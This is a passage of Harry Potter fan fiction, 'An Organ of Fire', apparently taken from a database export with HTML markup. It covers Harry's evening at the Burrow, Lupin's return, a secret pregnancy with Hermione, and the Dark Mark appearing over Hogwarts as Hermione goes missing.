in labor with the twins. <br/>\n<br/>\nWith Hermione occupied in the kitchen trying to convince Ryan that it was far\neasier to cast a spell than to wash the dishes by hand, Harry wandered out the\nback of the house and into the gardens. The air, though still cool, carried the\nfresh scent of barely blooming honeysuckle and lavender. He took a deep breath.\nOf all the things he loved about the Burrow, the smells were one of the biggest.\n<br/>\n<br/>\n"Thought I might find you out here." <br/>\n<br/>\nHarry turned to smile at Ron\'s father in the dim light. "And so you\nhave." <br/>\n<br/>\nArthur shook his head; his hair was thinner now after ten years, with a\nsprinkle of white through the red. Salt and paprika, Harry thought.\n"Seeing you here again...it\'s almost like having Ron back." He took a\nbreath and let it out slowly. "I half expected to come out and find the\ntwo of you talking."<br/>\n<br/>\n"I see him every time I round a corner in there." Harry gestured back\nto the house. <br/>\n<br/>\n"Come and sit down, Harry." Arthur gestured to a lawn table and\nchairs. When they were both seated, he took out his wand. "Lumio." A\nball of light formed over their heads. Moments passed. "To answer your\nearlier question, Harry, yes, I was there when the Governors came to\ntheir...bloody decision." His last few words were harsh. "Not being\none myself...my opinion counted for very little." He paused to scratch his\nchin. "I gave up my Governor\'s seat when Ron died. Lost the heart for it,\nI suppose you could say. Figured I\'d spend more time at home. I can\'t express\nto you how much I regret that now. To think that I could have stopped\nthis..." <br/>\n<br/>\nHarry held his tongue. He didn\'t need to tell Ron\'s father how glad he was that\nhe hadn\'t been in a position to receive any of Malfoy\'s manipulations. <br/>\n<br/>\n"I still believe that Dumbledore will find a way to overturn this,"\nArthur nodded. "He\'s not about to let Lucius Malfoy\'s son tell him how to\nrun his school."<br/>\n<br/>\n"What I don\'t understand is why everyone\'s so willing to go along with\nMalfoy." Harry leaned forward. "For one thing, he\'s my age. For\nanother, his father was a well-known Deatheater. The apple doesn\'t fall too far\nfrom the tree. Beyond that...so many witches and wizards are Muggle-born. This\nblatant anti-Muggle sentiment can\'t sit too well with them." <br/>\n<br/>\nArthur pulled a pipe out of his robes, but rather than fill and light it, he\nsimply held it, using it to make gestures as he spoke. Like a Muggle would.\n"Harry, when you defeated You-Know-Who, you put an end to nearly twenty\nyears of terror. See....I still can\'t even bring myself to say his name."\nHe heaved a sigh. "Even after your parents\' death, he was still a\nlingering presence. Then, when he returned, we were all united against\nhim."<br/>\n<br/>\nHarry nodded. "I remember." <br/>\n<br/>\n"He was the deadliest force to ever rear its head in our world. You gave\nus freedom from that." He chewed on the well-worn tip of the pipe for a\nmoment. "Inadvertently, you also created a false sense of security. Harry,\nno one believes anything as bad as You-Know....Vo...Vold...*Voldemort* could\never rise up again. They don\'t believe they would ever let it happen. And they\ndon\'t realize that it already has. Right under their noses."<br/>\n<br/>\n"Malfoy\'s taking full advantage of that then." Harry shook his head\nin utter disgust and mounting anger. "And he\'s done something to my\ngodfather to make him..." He stopped short. <br/>\n<br/>\nRon\'s father pulled the pipe out of the corner of his mouth. "I was\nwondering when we\'d get around to him. You know then...about him signing\nthe..."<br/>\n<br/>\n"Yes," Harry quickly said. "And I don\'t believe for a minute\nthat it\'s really him. Malfoy\'s done something to him and when I find out what\nit is...." His fist balled up. "Malfoy\'s kind has wrecked my family\nenough."<br/>\n<br/>\n"Just..." Arthur hesitated. <br/>\n<br/>\n"Just what? Sir."<br/>\n<br/>\nHe frowned and stuck the pipe back between his lips. "Be careful, Harry.\nAs often as things aren\'t what they seem to be, they are." <br/>\n<br/>\n"You don\'t really think that he\'s capable of..." <br/>\n<br/>\nArthur shook his head. "Perhaps I should have phrased that better."\nHe thought for a moment, then shook his head again. "I\'ve lost my train of\nthought. Happens more and more these days. Ever since..." Ron\'s father\ntrailed off.<br/>\n<br/>\nHarry looked down at his lap. "I\'m sorry I wasn\'t here when he...when it\nhappened." <br/>\n<br/>\n"It\'s not your fault, Harry." The older man sniffed. "You were\nthe best friend my boy ever had. And I appreciate that more than you\'ll ever\nknow." He looked up at the sky; the stars were clearly visible.\n"There\'s nothing harder in this world than losing a child, Harry. The\nyears we had with Ron...well, we were blessed. I wouldn\'t give them up for all\nthe money in the world. Having the little Harry now..." Arthur cleared his\nthroat, smiling proudly. "I\'m sure you\'ve noticed how much he takes after\nRon."<br/>\n<br/>\n"I\'ve noticed," Harry replied quietly. <br/>\n<br/>\n"What are you two talking about so intently out here?" He looked up\nto see Ginny approaching them, a shawl wrapped around her slender shoulders.\nHer hands rested on her expanded waistline. "Can I assume it\'s not the\nweather?" <br/>\n<br/>\nHarry pulled out a seat for Ron\'s sister and helped her sit. "Have I told\nyou how great you look, Ginny?"<br/>\n<br/>\n"Sure, you say that now when my ankles are swollen and I look rather like\na blimp," she laughed. "I don\'t remember getting tossed any such compliments\nwhen I was a tiny little sixteen year old." The look on his face only made\nher laugh harder. "Oh, don\'t fret, Harry. I was only joking." <br/>\n<br/>\nHe had to smile. "Ginny...I swear." <br/>\n<br/>\nArthur reached over to ruffle his only daughter\'s red locks. "You can guess\nwhat we\'re talking about, love. You\'re the smart one out of the lot."\nPride sparkled in his eyes. "Daily Prophet\'s best reporter, she is,"\nhe informed Harry. <br/>\n<br/>\n"I don\'t know about that, Dad, but the reporter part is true enough."\nShe gave Harry a sympathetic smile. "It\'s a bad bit, what\'s going on.\nFrustrating as all get out to only be able to report it and not directly affect\nit. Sometimes it\'s all I can do to make my articles objective. Maybe I should\nswitch to the editorial department; then I could say what\'s on my mind, instead\nof just reporting..."<br/>\n<br/>\nHarry interrupted her. "Anyone can write in an editorial, yes?"<br/>\n<br/>\n"Of course." Ginny blinked. "Why? Are you planning to..."<br/>\n<br/>\n"If people are going to be blind, the least I can do is try to open their\neyes." <br/>\n<br/>\nArthur grimaced. "Just...tread carefully, Harry. You never know\nwhat...."<br/>\n<br/>\n"Arthur!!" Molly\'s voice drifted out from the house. <br/>\n<br/>\n"Duty calls." He stood up, kissed his daughter\'s forehead and patted\nHarry on the shoulder. "Good to have you back, boy."<br/>\n<br/>\n"Thank you for having me, sir," Harry called back before the man\ndisappeared into his house. "What do you say, Ginny? Think I could scare\nMalfoy into faltering if I reminded the whole of Britain just what kind of\npeople he comes from?" <br/>\n<br/>\nShe studied him for a minute. "I think you\'re the best person to do it,\nHarry. And if you need my help...I\'m on board." <br/>\n<br/>\n"Well, I\'ll need to make sure it actually makes it into the paper.\nAnd..." He pulled at his ear. "I\'m not the world\'s greatest writer.\nI\'ll need loads of grammar help." <br/>\n<br/>\n"You could always ask for Hermione\'s help with that," she replied.\n"The two of you seem...close." Harry started to speak, but it was her\nturn to cut him off. "She took Ron\'s death terribly hard, Harry. If you\'re\nthe reason she can laugh now, you have all of my blessings." Ginny held\nout her hand. "Help me up?" He took her arm and offered leverage\nuntil she was back on her feet. "I don\'t know how my mother did this six\ntimes." <br/>\n<br/>\nHarry smiled. "She\'s just a bloody amazing woman." <br/>\n<br/>\n"She is," Ginny nodded. On impulse, she planted a kiss on Harry\'s\ncheek. "I\'m glad you\'re here, Harry. Ron would be, too." <br/>\n<br/>\nThey re-entered the house a minute later. Hermione and Ryan were just finishing\nthe dishes, or rather, her spell had worked and he was applauding it. She\nlooked at Harry and smiled shyly. Harry followed her gaze as it moved to the\nopposite side of the house. <br/>\n<br/>\nHe might have been on the edge of eleven years old and he might have been a\nyoung wizard about to enter his training, but little Harry was also still a\nchild. Worn out from the day of travel, family, food and excitement, he had let\nhimself fall asleep curled up next to his grandmother. Arthur sat on the other\nside of little Harry\'s body, still chewing on the end of his pipe. His arm was\ndraped over the back of the sofa and his hand rested on Molly\'s plump shoulder.\n<br/>\n<br/>\n"Picture perfect," Harry said to himself. He looked back at the\nkitchen; Ryan had pulled out a flask of Irish whiskey. The twins and Bill were\nat their brother-in-law\'s side within seconds, but both Ginny and Hermione\nrefused. <br/>\n<br/>\n"Harry?" Ginny\'s husband held up a glass with an inch of amber liquid\ninside. "You indulging, mate?"<br/>\n<br/>\nHe accepted the drink and took a deep sip. It helped wash down the ever-present\nlump in his throat. <br/>\n<br/>\n****<br/>\n<br/>\nThere was rectangular outline on the ceiling over the bed in which Harry slept\nthat night. It took him a few minutes, mostly because he couldn\'t see it very\nwell, but then he realized'),
	(93, 17, '\n\n\n\n<p class="MsoNormal">Disclaimer: Never could have thought up most of this stuff\non my own. I just tool around in JK Rowling\'s world.<br>\n<br>\nAuthor\'s Notes: Big old thanks for the continued support of this story and all\nthe sweet congratulations on my graduation. It went over as smoothly as two\nstraight hours of names being continuously read out-loud can go. I didn\'t trip\non my way across the stage, at least. And I sat next to a cute history major.\nAnyways, here\'s the next chapter I promised. I hope to get out another before\nChristmas, but don\'t hold me to that;) <br>\n<br>\nOh, and as for real notes...I don\'t know (and I don\'t think anyone is supposed\nto know) just how old James was when he died, but I\'ve put him under 28 for\nthis story. Sound about right? Okay, moving on. Um...Lupin\'s hard to write for.\nI hope I got his voice down right. All right, that\'s about all I have to say\nfor now. Take care and enjoy!!<br>\n<br>\n****<br>\n<br>\nAn Organ of Fire<br>\nby Kristen Elizabeth<br>\n<br>\n****<br>\n<br>\n&quot;That\'s not a good villian name. Good villian names are, like, Lex and\nVoldemort.&quot; -Andrew, Buffy the Vampire Slayer<br>\n<br>\n****<br>\n<br>\n&quot;Bloody hell, kid.&quot; Remus Lupin shook his head as he held out his\nhand to help Harry to his feet. &quot;You\'re entirely James now.&quot; <br>\n<br>\n&quot;Really?&quot; <br>\n<br>\nHis father\'s old friend nodded, almost sadly. &quot;James at twenty-eight. Or\nwhat I assume he would have...&quot; He stopped. &quot;Well, let\'s avoid that\ntwist in memory lane, shall we?&quot; Shaking his head of greying brown hair,\nhe bent down to help Harry gather up his things. &quot;Sorry if I startled you,\nby the way.&quot;<br>\n<br>\n&quot;You didn\'t. All right, only just a little. What are you doing here,\nProfessor?&quot;<br>\n<br>\n&quot;Harry, how many years has it been since I taught you?&quot; <br>\n<br>\nHe accepted an armful of books from the older man. &quot;I don\'t know. Fourteen\nor so?&quot; <br>\n<br>\n&quot;So you\'re still calling me \'Professor\' because...?&quot;<br>\n<br>\n&quot;Because I haven\'t seen you in over a decade?&quot; <br>\n<br>\nLupin smiled. &quot;Fair enough. As for why I\'m here...I\'m worried.&quot; He\ncontinued as they started to walk. &quot;As soon as I heard about what Sirius\nis supposed to have done...&quot;<br>\n<br>\n&quot;You don\'t believe in then, either!&quot; Harry let out a breath.\n&quot;Finally, someone with common sense.&quot;<br>\n<br>\n&quot;I spent far too many years punishing Sirius in my mind for a crime he\ndidn\'t commit. I\'m not about to jump back into that without even trying to dig\nfor the truth.&quot; They rounded a corner, narrowly escaping another\ncollision, only this time with a group of Gryffindor first years. <br>\n<br>\nHarry nodded and smiled at each &quot;hello, Professor Potter&quot; until they\nwere past the children. <br>\n<br>\n&quot;Quite the popular teacher you are now, Harry.&quot; <br>\n<br>\n&quot;Well, I learned from the best.&quot; Lupin accepted the compliment\nwithout comment. &quot;You were saying...um...Professor?&quot;<br>\n<br>\nShooting Harry a raised eyebrow, he finished his thought. &quot;I don\'t believe\nthat Sirius signed anything against Muggle-borns. Some of his own family were\nMuggles. His maternal grandmother, if I remember correctly. Someone\'s obviously\ntrying to frame him again. And I have a feeling it\'s that Malfoy kid everyone\'s\nbeen talking so much about. Even in America, they...&quot;<br>\n<br>\n&quot;You\'ve been in America?&quot; <br>\n<br>\nLupin nodded. &quot;I\'m sorry, Harry. I\'ve shown up, completely out of the\nblue, spouting off without any real explanations. Tell you what, I could do\nwith some food. I haven\'t missed dinner, have I? I\'m all turned around still.\nApparating across the Atlantic can do that to you.&quot; <br>\n<br>\n&quot;Well, actually I was just heading to Hermione\'s for dinner.&quot; Harry\nsmiled. &quot;There\'s always plenty of food, even after Harry gets into\nit.&quot; <br>\n<br>\n&quot;Talking about ourselves in the third person now, are we, Harry?&quot; <br>\n<br>\nHe blinked. &quot;How long have you been abroad?&quot;<br>\n<br>\n&quot;Eight years or so. I actually set out on a quest to find you, but you\'re\ndamn invisible when you want to be, kid.&quot; <br>\n<br>\n&quot;Sirius...he never wrote to you about...anything? Having to do with\nHermione and Ron and...&quot; He stopped. &quot;Nothing?&quot; When Lupin shook\nhis head, Harry took a breath. &quot;They got married. Had a...had a child.\nNamed him after me. And now Ron\'s...dead.&quot; <br>\n<br>\nA long moment passed. &quot;A loss to the world,&quot; Lupin finally said, his\nvoice low. &quot;He was a gifted wizard; I could tell, even at thirteen, that\nhe\'d grow out of his brothers\' shadows.&quot; <br>\n<br>\nHarry looked up at the vaulted ceilings and flying buttresses. There was so\nmuch he wasn\'t telling his father\'s best friend that he probably should. It\njust didn\'t seem like the right time or place. &quot;Hermione would love to see\nyou.&quot;<br>\n<br>\n****<br>\n<br>\n&quot;Professor Lupin!!&quot; Hermione approached her old teacher with a look\nof wonder on her face. &quot;I heard you were in America!&quot; She hesitated,\nthen embraced him. &quot;Welcome home!&quot;<br>\n<br>\n&quot;I told you she\'d be glad to see you,&quot; Harry grinned. <br>\n<br>\nLupin returned the smile, patting her back gently. &quot;Hello, Hermione. I was\nin America, yes. I\'ve only just returned.&quot; <br>\n<br>\nHermione drew back suddenly, a look of extreme shock etched onto her features.\n&quot;Tonight is a full moon!!&quot; <br>\n<br>\nHarry\'s gaze shot to the tall window cut into the far wall of Hermione\'s\napartment. Indeed, the moon hung in a perfect orb over Hogwarts. He looked back\nat Lupin. &quot;Professor...&quot;<br>\n<br>\n&quot;Still in top form, Hermione.&quot; The man, who should have been spending\nthe evening as a deadly beast, pulled a vial of blue liquid from his robes.\n&quot;A new potion, a stronger concentration of the wolfsbane potion I used to\ntake, was discovered quite recently by an American witch. Handy, isn\'t\nit?&quot;<br>\n<br>\n&quot;Marvelous is more like it!&quot; Hermione exclaimed. &quot;Might you have\nthe breakdown of ingredients with you? I\'d like to look at it.&quot; <br>\n<br>\nLupin replaced the vial. &quot;All in good time, I promise. First, I owe Harry\nsome answers. And...&quot; He gave her a slightly sheepish look. &quot;If you\nhave any food to spare...&quot;<br>\n<br>\n&quot;Of course! I was just about to get everything together. Take a\nseat.&quot; She pointed to the oak table. &quot;Harry!&quot; she yelled towards\nthe staircase. &quot;Come on down for dinner!&quot;<br>\n<br>\nAs Harry and Lupin sat down, little Harry burst into the living room. He\nstopped upon seeing the stranger at the table. &quot;Mum...&quot;<br>\n<br>\nHarry gestured to his son. &quot;Harry...I\'d like you to meet...an old friend\nof your mother\'s and mine, Mr. Lupin. Professor, this is Harry, Hermione\nand...Hermione\'s son.&quot; <br>\n<br>\nLupin held out a hand to the boy as though he were a grown man. &quot;Good to\nmeet you, Harry.&quot; He stopped when little Harry took the offered hand. The\nolder Harry watched him carefully as he studied the boy. He winced when the man\nlooked back at him with the same critical eye. Finally, Lupin nodded. &quot;I\nsee.&quot; <br>\n<br>\nFortunately Hermione chose that moment to re-enter carrying a platter of roast\nbeef and Yorkshire pudding. <br>\n<br>\nThroughout the meal, Lupin filled Harry and Hermione in on the last eight years\nof his life. After giving up his search for Harry, he had traveled to America,\nearning a living for a brief time as the Defense teacher at the Salem Witches\nInstitute. It was there that he had met Camilla, a widowed witch with a\nteenaged daughter attending the school. And it was for her that he had sought\nout the latest ways to keep his lycanthropy at bay. <br>\n<br>\n&quot;But when I heard that a Malfoy was putting himself in the public eye in\nBritain, I knew I had to return. And then hearing about Sirius...&quot; Lupin\nrounded out his tale as Hermione brought out coffee and strawberry-rhubarb\ntarts. &quot;I left Camilla back where it\'s safe, although I hope you can meet\nher someday.&quot;<br>\n<br>\n&quot;I hope so, too,&quot; Harry replied. &quot;Professor...do you have any\nidea how we can neutralize Malfoy and correct all the damage he\'s managed to\ninflict?&quot; <br>\n<br>\nLupin added cream to his coffee. &quot;I\'m not entirely sure it\'s that simple,\nHarry. I think, though, the first thing to do is contact Sirius.&quot;<br>\n<br>\n&quot;But if he\'s not himself...&quot;<br>\n<br>\nSensing that the conversation was about to get heavy, Hermione turned to her\nson. &quot;Can you take your dessert up to your room, love?&quot; <br>\n<br>\nLittle Harry looked around at the adults. &quot;You\'re talking about Mr.\nMalfoy, aren\'t you? And how he doesn\'t like Muggles.&quot; <br>\n<br>\n&quot;Harry, can you do as I ask?&quot; Hermione continued, gently, but firmly.\n<br>\n<br>\nHe obeyed, but with obvious reluctance. Harry looked back at Hermione after\ntheir son had left. &quot;He\'s as old as we were when...&quot;<br>\n<br>\n&quot;I don\'t want him exposed,&quot; Hermione cut him off. Only Harry could\nhave noticed the slight thickness in her waist as she stood to refill Lupin\'s\ncup. &quot;Go ahead, Professor.&quot; <br>\n<br>\nLupin cleared his throat. &quot;If something has happened to Sirius, we\'ll have\nto be careful how we word our letter. But sending one can only garner us more\ninformation. Dumbledore agrees with me. I spoke to him before we ran into each\nother.&quot; <br>\n<br>\n&quot;I\'m just tired of sitting around on my arse, unable to do anything!&quot;\nHarry slammed his cup back into its saucer. His eyes flashed jade daggers\ntowards the table. &quot;I can only write a bleeding editorial that probably\nwon\'t do a thing!&quot; <br>\n<br>\n&quot;It\'ll bait him, Harry.&quot; Hermione couldn\'t stop herself from touching\nHarry\'s shoulder. &quot;He won\'t be able to ignore it. And it\'ll be his turn to\nplay defensive.&quot; <br>\n<br>\n&quot;I agree with Hermione. I\'ll write to Sirius tonight just to tell him that\nI\'m back. Depending on how he responds, we can plan our next move.&quot; Lupin\nsmiled at Hermione. &quot;Are there anymore tarts?&quot; When she disappeared\ninto the kitchen for the remainder, the older man leveled Harry with a hard\nstare. &quot;Were you planning on telling me that the boy is your son?&quot; <br>\n<br>\nHarry shook his head. &quot;That story will take more than just one meal.&quot;\n<br>\n<br>\n****<br>\n<br>\nLater that night, Hermione pumped Lavender\'s Luxurious Lotion into the palm of\nher hand and watched Harry pull down the covers on her bed through her dressing\ntable mirror as she worked the concoction into her skin. &quot;I\'m glad he\ncame. I know that we\'re the adults now, too, but it still feels...nice to know\nthat we\'re not alone. You know what I mean?&quot; <br>\n<br>\n&quot;I do.&quot; Harry stacked the pillows and slid between the sheets. He\nremoved his glasses and placed them on the nightstand. &quot;But...he knows\nabout Harry.&quot; <br>\n<br>\nShe stood up with a sigh. &quot;I\'m not surprised.&quot; <br>\n<br>\n&quot;Are you upset?&quot;<br>\n<br>\nHermione approached the bed. &quot;No. Of course not.&quot; The smile she gave\nhim was warm, but it faded after a moment. &quot;Harry...&quot; Her hands\ncovered her belly. &quot;Do I look...&quot;<br>\n<br>\n&quot;A little,&quot; he replied. &quot;It\'s not going to be too much longer\nthat we can keep this a secret.&quot; Harry reached out to touch the place\nwhere their daughter grew within her. &quot;I don\'t even want to anymore.&quot;\n<br>\n<br>\n&quot;I keep telling myself that we have to wait for the right moment. But I\'m\nnot sure what the right moment is.&quot; She got into bed; the sheets were cool\nand she instinctively sought the warmth of his body. &quot;Any thoughts?&quot; <br>\n<br>\nHarry\'s eyes were half-closed. It had been an emotionally jarring day. &quot;I\nthink you should marry me. And then we wouldn\'t have to explain...&quot; He\nyawned. &quot;...anything to anyone.&quot; <br>\n<br>\n&quot;All right.&quot; Her reply was soft. &quot;I\'ll marry you then.&quot;\nUnfortunately, Harry was already asleep. Hermione kissed his cheek, blew out\nthe lantern, and settled back into the crook of his arm. &quot;All you\'ve ever\nhad to do was ask, Harry.&quot;<br>\n<br>\nShe didn\'t bring up his sleepy proposal again. And as a handful of days turned\ninto a week, she became convinced that it had been nothing more than a passing\ncomment. What she didn\'t know about was the catalog Harry had picked up from\nRegina\'s Ravishing Regalia in Diagon Alley hidden in his dresser drawer between\na pile of pajama pants, with the ring selection dog-eared. <br>\n<br>\n****<br>\n<br>\n&quot;Do you know what I think my favorite part is?&quot; Hermione pushed aside\nher untouched breakfast and spread the Monday edition of the Daily Prophet out\nin front of her on the professor\'s table in the Great Hall. She cleared her\nthroat dramatically and began to read aloud. &quot;\'Making up in connections\nwhat he lacks in cleverness, Draco Malfoy sees the world as something to\nmanipulate. We are all just toys for a wizard who can\'t seem to grow up from\nhis days as the school-bully. Allowing ourselves to fall under his spell is like\nbringing You-Know-Who back from the grave.\'&quot; She looked at Harry.\n&quot;Wow.&quot;<br>\n<br>\nHe glanced up from the terrific shredding job he was performing on an innocent\npiece of toast. &quot;I wanted to use \'Voldemort\' there, but Ginny\'s editor\nchanged it.&quot;<br>\n<br>\n&quot;No need ter be startin\' a panic,&quot; Hagrid commented. &quot;\'Though I\nthink the best part were where \'arry says that he\'s only half as dark as his\nfather were and workin\' a bit too hard a\' catchin\' up.&quot; <br>\n<br>\nDown a few places, Snape pushed back his chair with a loud scraping noise and\nleft the table. <br>\n<br>\n&quot;What\'s crawled up his robes?&quot; Lupin asked, pointing to the man\'s\nback with his fork, on which a large piece of bacon was speared. <br>\n<br>\n&quot;It\'s hard for Severus.&quot; All eyes turned to Dumbledore, presiding\nover the Hall as the great leader he was. His ancient eyes were sympathetic.\n&quot;He practically raised the young Malfoy. I\'d imagine he feels quite a\nheavy burden of responsibility for how he\'s turned out.&quot; <br>\n<br>\nHermione folded up the paper. &quot;It\'s not his fault.&quot; <br>\n<br>\n&quot;Not directly, maybe,&quot; Harry mumbled. &quot;But still...here we\nare.&quot; <br>\n<br>\n&quot;Here we are,&quot; Dumbledore echoed. <br>\n<br>\n&quot;Actually, here we go.&quot; Hermione stood up. &quot;First lessons in ten\nminutes,&quot; she informed the rest of the faculty. &quot;Have a good day,\nall.&quot; She caught Harry\'s eye, giving him a look that was distinctly\nprivate before she started off. <br>\n<br>\nAfter a proper amount of time had elapsed, Harry excused himself. He caught up\nwith Hermione just outside of the History of Magic classroom. &quot;You didn\'t\neat anything,&quot; he blurted without any lead-in. &quot;Are you feeling all\nright?&quot; <br>\n<br>\n&quot;I\'m fine, Harry. I\'m just not fried-eggs-fine.&quot; She glanced over his\nshoulder, noting the trickle of second years heading her way. &quot;Don\'t worry\nabout us. We\'re tough.&quot; <br>\n<br>\nHe slipped a discreet hand into her robes; from any angle, it merely looked\nlike the two professors were standing close together, talking. Harry covered\nher newly firm belly with his flattened palm. &quot;I expect that if Malfoy has\nany response to the piece, it\'ll come within the next day or so. I might have to\nhead to London. Before I do, I want to ask you...&quot;<br>\n<br>\n&quot;Morning, Professor Weasley! Professor Potter.&quot; <br>\n<br>\nThey broke away instantly. Nodding to each other and to the second year\nGryffindor whose greeting had ruined the moment, they each headed off to begin\ntheir separate mornings. <br>\n<br>\n**** <br>\n<br>\nHarry met Lupin for a quick lunch in the rare break he had between his classes;\nhe didn\'t even go to the Great Hall. Rather, the older man brought sandwiches\nto him and they ate at the desks while Harry tried to fill him in on the\nhistory behind little Harry\'s birth, without giving away his current\nrelationship with the boy\'s mother. <br>\n<br>\n&quot;So...&quot; Lupin swallowed a mouthful of ham and bread. &quot;If anyone\nasks...&quot;<br>\n<br>\n&quot;Harry\'s not mine,&quot; Harry finished up. <br>\n<br>\n&quot;Hmm.&quot; He took another bite; concern was evident on his face, but the\nmatter-of-factness with which Harry discussed the matter dissuaded any further\ncomment. &quot;Oh, by the way, I got a letter off to Sirius finally. I think I\nwrote the damnable thing a hundred times. And I\'m still not satisfied that it\nwill promote an answer, but not raise suspicions.&quot;<br>\n<br>\nHarry set down his half-eaten sandwich, his appetite suddenly lost. He picked\nup his mug of pumpkin juice and raised it. &quot;Here\'s to a speedy\nreply.&quot; The rim of the mug rested against his lips for a long moment, but\nHarry didn\'t drink. Finally, he set it back down. &quot;This holding pattern\nwe\'re locked in is killing me.&quot;<br>\n<br>\n&quot;The calm before the storm.&quot;<br>\n<br>\n&quot;How much would I tempt fate if I said I wish it could all just happen\nalready, as to be done with it?&quot;<br>\n<br>\nLupin shook his head. &quot;Never tempt fate, Harry, under any circumstances.\nShe has a nasty way of rearing up and...&quot; <br>\n<br>\nThere was commotion in the hallway, buzzing so loud it cut off the older man.\nHarry frowned and stood up. Dark blurs ran past the open doorway, students en\nmasse, all heading in the same direction. &quot;What on earth...&quot;\nAbandoning his lunch, Harry ran out of the classroom, Lupin on his heels. <br>\n<br>\nThey joined up with the crowd of students; Harry reached for the first one\nwhose name he could remember. &quot;Priscilla,&quot; he addressed a\nstartled-looking fourth year Hufflepuff. &quot;What is all this?&quot; <br>\n<br>\n&quot;I don\'t know, Professor.&quot; She shook her head, dark curls bouncing\naround her shoulders. &quot;They just said it was outside and we had to see\nit!&quot;<br>\n<br>\n&quot;Who said? What is it?&quot; Harry gave the girl an apologetic look.\n&quot;Never mind.&quot; He looked back at Lupin. &quot;Do you have a bad\nfeeling about this?&quot;<br>\n<br>\nThey came around a corner into the open corridor that framed the central\ncourtyard. There was little light, save for the torches; the cloudy morning had\nturned into a stormy afternoon. Harry could feel the cool breeze before he even\nturned his head back around. &quot;Yes,&quot; Lupin replied. &quot;A very bad\nfeeling.&quot; <br>\n<br>\nIn only a moment, the two men stepped onto grass from stone and joined what\nseemed to be the entire school in looking up at the heavy grey sky over\nHogwarts. <br>\n<br>\nThe Dark Mark. Harry had only seen it like this one other time. And at that\ntime, it had heralded Voldemort\'s return to the crowds gathered at the\nInternational Cup. Now, it hung over Hogwarts, an image straight out of the\nnightmares that had plagued him across most of Europe. He instinctively knew\nwhat it heralded now and who had put it there. <br>\n<br>\n&quot;Bloody hell!&quot; Harry let the words slip out, despite the presence of\nhis students. <br>\n<br>\nLupin stared at the Mark, never blinking. Even when the lightning, which had\nmost of the children screaming, streaked across the sky, he made no move to\nlook away. &quot;Looks like he read your article.&quot;<br>\n<br>\n&quot;No...it\'s not th...fuck!&quot;<br>\n<br>\nFinally, his father\'s friend blinked and looked over at him. &quot;What\'s\nwrong, Harry?&quot; The younger man had both hands pressed against his\nforehead; after a second, he doubled over, still clutching his brow.\n&quot;Harry?!&quot; <br>\n<br>\n&quot;It\'s all right,&quot; Harry forced out between clenched teeth. &quot;It\nhappened...on Halloween, too. It\'s just...Mal..&quot; He inhaled as the pain\nthreatened to split his head open. &quot;The Mark...&quot;<br>\n<br>\nLupin already had an arm around his shoulder, leading him out of the crowd.\nThey hadn\'t even made it to the edge of the courtyard before the first stinging\ndrops of rain hit them. Like a dam had been lowered, rain poured down on\nHogwarts. Harry and Lupin were caught in the stampede of children heading for\ncover.<br>\n<br>\nThrough the pain, Harry could hear a single voice cutting through the din.\n&quot;Students! Head to your dormitories, immediately! Teachers, to the\nQuidditch green.&quot; After so many years, Dumbledore still had the power to\nbe heard and instantly obeyed. <br>\n<br>\nHarry straightened up as much as he could, ignoring the streams of students rushing\npast them. &quot;I have to get out there and...&quot;<br>\n<br>\n&quot;You can barely stand,&quot; Lupin said, pulling him in the opposite\ndirection. The Boy-Who-Lived was in no condition to put up much of a fight.\n&quot;Dumbledore will understand if you\'re not...&quot;<br>\n<br>\nOnce again, he didn\'t get to finish the thought. Through the pushing mass of\nschool-robed bodies, little Harry emerged, running straight for his father.\nHarry drew his hand away from his forehead as the boy reached him, out of\nbreath and deathly pale. &quot;Harry? What...&quot;<br>\n<br>\n&quot;Mum,&quot; the child panted. <br>\n<br>\n&quot;Are you all right, Harry?&quot; <br>\n<br>\nLittle Harry shook his head. &quot;I...I fell asleep studying and I had a...a\ndream. My mum...something\'s happened to her.&quot;<br>\n<br>\nThe pain was suddenly forgotten. &quot;Hermione? She...&quot; Harry looked\naround. &quot;I didn\'t see her...&quot; Before Lupin could stop him, Harry took\noff through the castle. <br>\n<br>\n&quot;Harry!&quot; He could hear Lupin calling his name, could sense his former\nteacher and his son running after him, but Harry refused to slow down. Even\nwhen the throbbing pain returned, stronger than ever. <br>\n<br>\nHe tore through the halls, ducking his head into every classroom until he\nreached hers. But they were all empty, and only the last one he looked in had\neven any trace of her. Hermione\'s lesson plans were spread out over her desk. Notes\non goblins decorated the chalkboard. The robe she had been wearing over her\nskirt and blouse that morning was neatly draped over the back of her chair. But\nthe woman he loved was nowhere to be seen. <br>\n<br>\n&quot;Perhaps she\'s already joined the others on the field,&quot; Lupin\nsuggested. Harry\'s only indication that he heard this was to turn around and\nthunder out of the room, on a reverse course through the castle.<br>\n<br>\nOnce outside, the rain drenched whatever wasn\'t already wet within seconds.\nWater cascaded down the insides of his glasses, but Harry could see Snape and\nHagrid running towards the Quidditch field with Professor Sprout and Madam\nHooch. <br>\n<br>\n&quot;Hermione!&quot; he shouted through the storm. His head tilted back; the\nDark Mark was right above him. Rainwater gathered in his open mouth.\n&quot;Hermione...where are you?!&quot;<br>\n<br>\nPain shot through him so suddenly and with such severity that the next thing\nHarry knew was that his knees had hit the muddy ground. He tried to look up,\nbut found that he couldn\'t even lift his chin under the weight of his agony.\n&quot;Hermione.&quot; <br>\n<br>\nHe felt hands on his shoulders. Heard voices. Lupin, Snape, McGonagall. His\nson. Harry\'s eyes closed. It was then that he heard the one voice he had\nthought he never would again. <br>\n<br>\n**She needs you, mate.**<br>\n<br>\nHarry slowly opened his eyes. He blinked away rain, tears, shock. In the crowd\ngathered around him, the face...his first friend...his best friend.\n&quot;Ron...&quot;<br>\n<br>\n**Find her, Harry. Before he hurts her.**<br>\n<br>\nAs he tried to stand, the pain emanating from his scar caught up with him. For\nHarry, the world became nothing but darkness and silence.<br>\n<br>\n****<br>\n<br>\nJust as quickly as he had drifted out of it, consciousness hit Harry like a\ncartoon anvil. He was lying in a bed, he realized as he sat up straight. The\nhospital wing. It was light, daytime. His head throbbed, but it was nothing\nlike the pain that had knocked him out. <br>\n<br>\n&quot;Father.&quot; <br>\n<br>\nHarry looked to his right. His son sat in a chair next to his bed, looking\nsmaller than usual. His red hair was unkempt. The boy held out his glasses and\nafter a moment of staring at them, Harry took them and pushed them onto the\nbridge of his nose. <br>\n<br>\n&quot;Father,&quot; little Harry began again. Now that he could see, Harry\nfocused on the tear-stains streaking his son\'s cheeks. &quot;I\'m sorry.&quot;\nHe sniffed. &quot;I was supposed to help you look out for her. Dad told me\nto...&quot; He stopped, his dirty hands trembling in his lap. <br>\n<br>\n&quot;Harry...&quot; He was surprised at the soreness in his 